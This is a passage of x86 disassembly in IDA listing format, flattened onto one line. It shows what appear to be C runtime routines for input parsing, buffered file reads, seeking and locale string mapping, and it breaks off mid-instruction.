--------------------------------------------------------------------------- loc_41DF5C: ; CODE XREF: sub_41D797+7B7j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DF67: ; CODE XREF: sub_41D797+7C3j test eax, eax jz short loc_41DFC8 cmp esi, 6Fh jnz short loc_41DF85 cmp ebx, 38h jge short loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_420F90 jmp short loc_41DF94 ; --------------------------------------------------------------------------- loc_41DF85: ; CODE XREF: sub_41D797+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_417760 loc_41DF94: ; CODE XREF: sub_41D797+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41DF9A: ; CODE XREF: sub_41D797+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41DFB2 dec [ebp+var_C] jz short loc_41DFD6 loc_41DFB2: ; CODE XREF: sub_41D797+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41DEF3 ; --------------------------------------------------------------------------- loc_41DFC8: ; CODE XREF: sub_41D797+788j ; sub_41D797+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41DFD6: ; CODE XREF: sub_41D797+756j ; sub_41D797+819j cmp [ebp+var_17], 0 jz loc_41E0BC mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41E0BC ; --------------------------------------------------------------------------- loc_41DFF8: ; CODE XREF: sub_41D797+74Cj cmp [ebp+var_F], 0 jnz loc_41E0B4 loc_41E002: ; CODE XREF: sub_41D797+90Aj cmp esi, 78h jz short loc_41E046 cmp esi, 70h jz short loc_41E046 cmp dword_4397AC, 1 jle short loc_41E021 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E021: ; CODE XREF: sub_41D797+87Cj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41E02C: ; CODE XREF: sub_41D797+888j test eax, eax jz short loc_41E0A6 cmp esi, 6Fh jnz short loc_41E03F cmp ebx, 38h jge short loc_41E0A6 shl edi, 3 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E03F: ; CODE XREF: sub_41D797+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E046: ; CODE XREF: sub_41D797+86Ej ; sub_41D797+873j cmp dword_4397AC, 1 jle short loc_41E05E push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E06B ; --------------------------------------------------------------------------- loc_41E05E: ; CODE XREF: sub_41D797+8B6j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 80h loc_41E06B: ; CODE XREF: sub_41D797+8C5j test eax, eax jz short loc_41E0A6 push ebx shl edi, 4 call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41E07E: ; CODE XREF: sub_41D797+8A6j ; sub_41D797+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41E090 dec [ebp+var_C] jz short loc_41E0B4 loc_41E090: ; CODE XREF: sub_41D797+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41E002 ; --------------------------------------------------------------------------- loc_41E0A6: ; CODE XREF: sub_41D797+897j ; sub_41D797+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41E0B4: ; CODE XREF: sub_41D797+865j ; sub_41D797+8F7j cmp [ebp+var_17], 0 jz short loc_41E0BC neg edi loc_41E0BC: ; CODE XREF: sub_41D797+843j ; sub_41D797+85Cj ... cmp esi, 46h jnz short loc_41E0C5 and [ebp+var_1C], 0 loc_41E0C5: ; CODE XREF: sub_41D797+928j cmp [ebp+var_1C], 0 jz loc_41E19D cmp [ebp+var_E], 0 jnz short loc_41E0FE inc [ebp+var_34] loc_41E0D8: ; CODE XREF: sub_41D797+23Bj cmp [ebp+var_30], 0 jz short loc_41E0EE mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0EE: ; CODE XREF: sub_41D797+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41E0FB mov [eax], edi jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0FB: ; CODE XREF: sub_41D797+95Ej mov [eax], di loc_41E0FE: ; CODE XREF: sub_41D797+241j ; sub_41D797+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41E14B ; --------------------------------------------------------------------------- loc_41E109: ; CODE XREF: sub_41D797+93j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41E178 mov ecx, off_4395A0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41E14B inc [ebp+var_4] push edi call sub_41E1F3 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41E186 dec [ebp+var_4] loc_41E14B: ; CODE XREF: sub_41D797+970j ; sub_41D797+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E161 cmp byte ptr [esi], 25h jnz short loc_41E1A3 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41E1A3 mov esi, eax loc_41E161: ; CODE XREF: sub_41D797+9B8j mov al, [esi] test al, al jnz loc_41D7C1 jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E16D: ; CODE XREF: sub_41D797+1F4j ; sub_41D797+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41E17D ; --------------------------------------------------------------------------- loc_41E178: ; CODE XREF: sub_41D797+98Aj dec [ebp+var_4] push edi push ebx loc_41E17D: ; CODE XREF: sub_41D797+9DFj call sub_41E20D pop ecx pop ecx jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E186: ; CODE XREF: sub_41D797+9AFj dec [ebp+var_4] push edi push eax call sub_41E20D dec [ebp+var_4] push edi push ebx call sub_41E20D add esp, 10h loc_41E19D: ; CODE XREF: sub_41D797+1Fj ; sub_41D797+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E1B4 loc_41E1A3: ; CODE XREF: sub_41D797+9BDj ; sub_41D797+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41E1B7 cmp [ebp+var_15], al jnz short loc_41E1B7 or eax, 0FFFFFFFFh jmp short loc_41E1B7 ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41D797+A0Aj mov eax, [ebp+var_34] loc_41E1B7: ; CODE XREF: sub_41D797+A11j ; sub_41D797+A16j ... pop edi pop esi pop ebx leave retn sub_41D797 endp ; =============== S U B R O U T I N E ======================================= sub_41E1BC proc near ; CODE XREF: sub_41D797+7A3p ; sub_41D797+8DCp arg_0 = dword ptr 4 cmp dword_4397AC, 1 push esi jle short loc_41E1D6 mov esi, [esp+4+arg_0] push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41E1E5 ; --------------------------------------------------------------------------- loc_41E1D6: ; CODE XREF: sub_41E1BC+8j mov esi, [esp+4+arg_0] mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_41E1E5: ; CODE XREF: sub_41E1BC+18j test eax, eax jnz short loc_41E1EF and esi, 0FFFFFFDFh sub esi, 7 loc_41E1EF: ; CODE XREF: sub_41E1BC+2Bj mov eax, esi pop esi retn sub_41E1BC endp ; =============== S U B R O U T I N E ======================================= sub_41E1F3 proc near ; CODE XREF: sub_41D797+1E1p ; sub_41D797+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41E205 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41E205: ; CODE XREF: sub_41E1F3+7j push edx call sub_41E248 pop ecx retn sub_41E1F3 endp ; =============== S U B R O U T I N E ======================================= sub_41E20D proc near ; CODE XREF: sub_41D797+6Bp ; sub_41D797+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41E223 push [esp+arg_4] push [esp+4+arg_0] call sub_420FAF pop ecx pop ecx locret_41E223: ; CODE XREF: sub_41E20D+5j retn sub_41E20D endp ; =============== S U B R O U T I N E ======================================= sub_41E224 proc near ; CODE XREF: sub_41D797+63p ; sub_41D797+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41E22A: ; CODE XREF: sub_41E224+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41E1F3 mov edi, eax push edi call sub_420F60 pop ecx test eax, eax pop ecx jnz short loc_41E22A mov eax, edi pop edi pop esi retn sub_41E224 endp ; =============== S U B R O U T I N E ======================================= sub_41E248 proc near ; CODE XREF: sub_418A86+A9p ; sub_41900C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41E31C test al, 40h jnz loc_41E31C test al, 2 jz short loc_41E26E or al, 20h mov [esi+0Ch], eax jmp loc_41E31C ; --------------------------------------------------------------------------- loc_41E26E: ; CODE XREF: sub_41E248+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41E282 push esi call sub_41F9D8 pop ecx jmp short loc_41E287 ; --------------------------------------------------------------------------- loc_41E282: ; CODE XREF: sub_41E248+2Fj mov eax, [esi+8] mov [esi], eax loc_41E287: ; CODE XREF: sub_41E248+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41E30B cmp eax, 0FFFFFFFFh jz short loc_41E30B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41E2E0 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41E2C9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_48B340[edi*4] lea edi, [edi+ecx*8] jmp short loc_41E2CE ; --------------------------------------------------------------------------- loc_41E2C9: ; CODE XREF: sub_41E248+6Bj mov edi, offset dword_43BC20 loc_41E2CE: ; CODE XREF: sub_41E248+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41E2E0 or dh, 20h mov [esi+0Ch], edx loc_41E2E0: ; CODE XREF: sub_41E248+62j ; sub_41E248+90j cmp dword ptr [esi+18h], 200h jnz short loc_41E2FD mov ecx, [esi+0Ch] test cl, 8 jz short loc_41E2FD test ch, 4 jnz short loc_41E2FD mov dword ptr [esi+18h], 1000h loc_41E2FD: ; CODE XREF: sub_41E248+9Fj ; sub_41E248+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E30B: ; CODE XREF: sub_41E248+55j ; sub_41E248+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41E31C: ; CODE XREF: sub_41E248+Aj ; sub_41E248+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41E248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E321 proc near ; CODE XREF: sub_418A86+90p ; sub_41E248+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_48B440 jnb loc_41E4FE mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:48B340h[eax*4] mov eax, dword_48B340[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41E4FE and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41E3D6 test dl, 2 jnz short loc_41E3D6 test dl, 48h jz short loc_41E396 mov al, [eax+5] cmp al, 0Ah jz short loc_41E396 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41E396: ; CODE XREF: sub_41E321+56j ; sub_41E321+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 26210C4h test eax, eax jnz short loc_41E3E9 nop call near ptr 26402CBh push 5 pop ecx cmp eax, ecx jnz short loc_41E3D1 mov dword_48A014, 9 mov dword_48A018, ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3D1: ; CODE XREF: sub_41E321+99j cmp eax, 6Dh jnz short loc_41E3DD loc_41E3D6: ; CODE XREF: sub_41E321+4Cj ; sub_41E321+51j xor eax, eax jmp loc_41E512 ; --------------------------------------------------------------------------- loc_41E3DD: ; CODE XREF: sub_41E321+B3j push eax call sub_41EF44 pop ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3E9: ; CODE XREF: sub_41E321+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41E4F9 test edx, edx jz short loc_41E40E cmp byte ptr [edi], 0Ah jnz short loc_41E40E or al, 4 jmp short loc_41E410 ; --------------------------------------------------------------------------- loc_41E40E: ; CODE XREF: sub_41E321+E2j ; sub_41E321+E7j and al, 0FBh loc_41E410: ; CODE XREF: sub_41E321+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41E4F3 loc_41E428: ; CODE XREF: sub_41E321+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41E4E3 cmp al, 0Dh jz short loc_41E444 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E321+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41E462 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41E459 add [ebp+arg_8], 2 jmp short loc_41E4B7 ; --------------------------------------------------------------------------- loc_41E459: ; CODE XREF: sub_41E321+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E462: ; CODE XREF: sub_41E321+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26210C4h test eax, eax jnz short loc_41E48A call near ptr 26402CBh nop test eax, eax jnz short loc_41E4D1 loc_41E48A: ; CODE XREF: sub_41E321+15Dj cmp [ebp+var_C], 0 jz short loc_41E4D1 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41E4AC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41E4B7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E4AC: ; CODE XREF: sub_41E321+176j cmp edi, [ebp+arg_4] jnz short loc_41E4BC cmp [ebp+var_1], 0Ah jnz short loc_41E4BC loc_41E4B7: ; CODE XREF: sub_41E321+136j ; sub_41E321+17Dj mov byte ptr [edi], 0Ah jmp short loc_41E4D4 ; --------------------------------------------------------------------------- loc_41E4BC: ; CODE XREF: sub_41E321+18Ej ; sub_41E321+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41E517 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41E4D5 loc_41E4D1: ; CODE XREF: sub_41E321+167j ; sub_41E321+16Dj mov byte ptr [edi], 0Dh loc_41E4D4: ; CODE XREF: sub_41E321+199j inc edi loc_41E4D5: ; CODE XREF: sub_41E321+11Ej ; sub_41E321+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41E428 jmp short loc_41E4F3 ; --------------------------------------------------------------------------- loc_41E4E3: ; CODE XREF: sub_41E321+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41E4F3 or al, 2 mov [esi], al loc_41E4F3: ; CODE XREF: sub_41E321+101j ; sub_41E321+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41E4F9: ; CODE XREF: sub_41E321+DAj mov eax, [ebp+var_8] jmp short loc_41E512 ; --------------------------------------------------------------------------- loc_41E4FE: ; CODE XREF: sub_41E321+12j ; sub_41E321+39j and dword_48A018, 0 mov dword_48A014, 9 loc_41E50F: ; CODE XREF: sub_41E321+ABj ; sub_41E321+C3j or eax, 0FFFFFFFFh loc_41E512: ; CODE XREF: sub_41E321+B7j ; sub_41E321+1DBj pop edi pop esi pop ebx leave retn sub_41E321 endp ; =============== S U B R O U T I N E ======================================= sub_41E517 proc near ; CODE XREF: sub_418D0E+67p ; sub_419D23+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_48B440 push esi push edi jnb short loc_41E599 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41E599 push eax call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E55B mov dword_48A014, 9 jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E55B: ; CODE XREF: sub_41E517+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 26B102Ah mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41E57B nop call near ptr 26402CBh jmp short loc_41E57D ; --------------------------------------------------------------------------- loc_41E57B: ; CODE XREF: sub_41E517+5Aj xor eax, eax loc_41E57D: ; CODE XREF: sub_41E517+62j test eax, eax jz short loc_41E58A push eax call sub_41EF44 pop ecx jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E58A: ; CODE XREF: sub_41E517+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41E5AD ; --------------------------------------------------------------------------- loc_41E599: ; CODE XREF: sub_41E517+Dj ; sub_41E517+2Aj and dword_48A018, 0 mov dword_48A014, 9 loc_41E5AA: ; CODE XREF: sub_41E517+42j ; sub_41E517+71j or eax, 0FFFFFFFFh loc_41E5AD: ; CODE XREF: sub_41E517+80j pop edi pop esi pop ebx retn sub_41E517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5B1 proc near ; CODE XREF: sub_418D0E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41E5CD mov [edi+4], ebx loc_41E5CD: ; CODE XREF: sub_41E5B1+17j push 1 push ebx push esi call sub_41E517 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41E63B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41E5F2 sub eax, [edi+4] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E5F2: ; CODE XREF: sub_41E5B1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41E62C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_48B340[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41E643 mov edx, ecx loc_41E61D: ; CODE XREF: sub_41E5B1+79j cmp edx, eax jnb short loc_41E643 cmp byte ptr [edx], 0Ah jnz short loc_41E629 inc [ebp+var_8] loc_41E629: ; CODE XREF: sub_41E5B1+73j inc edx jmp short loc_41E61D ; --------------------------------------------------------------------------- loc_41E62C: ; CODE XREF: sub_41E5B1+50j test dl, 80h jnz short loc_41E643 mov dword_48A014, 16h loc_41E63B: ; CODE XREF: sub_41E5B1+2Dj or eax, 0FFFFFFFFh jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E643: ; CODE XREF: sub_41E5B1+68j ; sub_41E5B1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41E651 mov eax, [ebp+var_8] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E651: ; CODE XREF: sub_41E5B1+96j test byte ptr [edi+0Ch], 1 jz loc_41E6FC mov edx, [edi+4] test edx, edx jnz short loc_41E66A and [ebp+var_8], edx jmp loc_41E6FC ; --------------------------------------------------------------------------- loc_41E66A: ; CODE XREF: sub_41E5B1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41E6F6 push 2 push 0 push [ebp+var_C] call sub_41E517 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41E6BD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41E6A8: ; CODE XREF: sub_41E5B1+104j cmp eax, ecx jnb short loc_41E6B7 cmp byte ptr [eax], 0Ah jnz short loc_41E6B4 inc [ebp+arg_0] loc_41E6B4: ; CODE XREF: sub_41E5B1+FEj inc eax jmp short loc_41E6A8 ; --------------------------------------------------------------------------- loc_41E6B7: ; CODE XREF: sub_41E5B1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41E6F1 ; --------------------------------------------------------------------------- loc_41E6BD: ; CODE XREF: sub_41E5B1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41E517 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41E6E4 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41E6E4 test ch, 4 jz short loc_41E6E7 loc_41E6E4: ; CODE XREF: sub_41E5B1+124j ; sub_41E5B1+12Cj mov eax, [edi+18h] loc_41E6E7: ; CODE XREF: sub_41E5B1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41E6F1: ; CODE XREF: sub_41E5B1+10Aj jz short loc_41E6F6 inc [ebp+arg_0] loc_41E6F6: ; CODE XREF: sub_41E5B1+D9j ; sub_41E5B1:loc_41E6F1j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41E6FC: ; CODE XREF: sub_41E5B1+A4j ; sub_41E5B1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41E704: ; CODE XREF: sub_41E5B1+3Cj ; sub_41E5B1+8Dj ... pop edi pop esi pop ebx leave retn sub_41E5B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E709 proc near ; CODE XREF: sub_419063+47p ; sub_419063+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248E0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_48A0C0, edi jnz short loc_41E77F push edi push edi push 1 pop ebx push ebx push offset dword_4248D8 mov esi, 100h push esi push edi call near ptr 2860000h nop test eax, eax jz short loc_41E75D mov dword_48A0C0, ebx jmp short loc_41E77F ; --------------------------------------------------------------------------- loc_41E75D: ; CODE XREF: sub_41E709+4Aj push edi push edi push ebx push offset dword_43C824 push esi push edi nop call near ptr 2850000h test eax, eax jz loc_41E897 mov dword_48A0C0, 2 loc_41E77F: ; CODE XREF: sub_41E709+2Ej ; sub_41E709+52j cmp [ebp+arg_C], edi jle short loc_41E794 push [ebp+arg_C] push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov [ebp+arg_C], eax loc_41E794: ; CODE XREF: sub_41E709+79j mov eax, dword_48A0C0 cmp eax, 2 jnz short loc_41E7BB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2850000h jmp loc_41E899 ; --------------------------------------------------------------------------- loc_41E7BB: ; CODE XREF: sub_41E709+93j cmp eax, 1 jnz loc_41E897 cmp [ebp+arg_18], edi jnz short loc_41E7D1 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_41E7D1: ; CODE XREF: sub_41E709+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2620000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41E897 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E82C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41E82C: ; CODE XREF: sub_41E709+10Ej cmp [ebp+var_24], edi jz short loc_41E897 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2620000h test eax, eax jz short loc_41E897 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2860000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41E897 test byte ptr [ebp+arg_4+1], 4 jz short loc_41E8AB cmp [ebp+arg_14], edi jz loc_41E926 cmp esi, [ebp+arg_14] jg short loc_41E897 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h test eax, eax jnz loc_41E926 loc_41E897: ; CODE XREF: sub_41E709+66j ; sub_41E709+B5j ... xor eax, eax loc_41E899: ; CODE XREF: sub_41E709+ADj ; sub_41E709+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E8AB: ; CODE XREF: sub_41E709+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E8DF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41E8DF: ; CODE XREF: sub_41E709+1C2j cmp ebx, edi jz short loc_41E897 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h test eax, eax jz short loc_41E897 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41E906 push edi push edi jmp short loc_41E90C ; --------------------------------------------------------------------------- loc_41E906: ; CODE XREF: sub_41E709+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41E90C: ; CODE XREF: sub_41E709+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2790000h mov esi, eax cmp esi, edi jz loc_41E897 loc_41E926: ; CODE XREF: sub_41E709+165j ; sub_41E709+188j mov eax, esi jmp loc_41E899 sub_41E709 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E92D proc near ; CODE XREF: sub_41ECF1+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41EAC6 mov esi, eax pop ecx cmp esi, dword_48B444 mov [ebp+arg_0], esi jz loc_41EABA xor ebx, ebx cmp esi, ebx jz loc_41EAB0 xor edx, edx mov eax, offset dword_43B940 loc_41E961: ; CODE XREF: sub_41E92D+41j cmp [eax], esi jz short loc_41E9D7 add eax, 30h inc edx cmp eax, offset dword_43BA30 jl short loc_41E961 lea eax, [ebp+var_18] push eax push esi nop call near ptr 286128Eh cmp eax, 1 jnz loc_41EAA8 push 40h xor eax, eax pop ecx mov edi, offset byte_48B560 cmp [ebp+var_18], 1 mov dword_48B444, esi rep stosd stosb mov dword_48B664, ebx jbe loc_41EA96 cmp 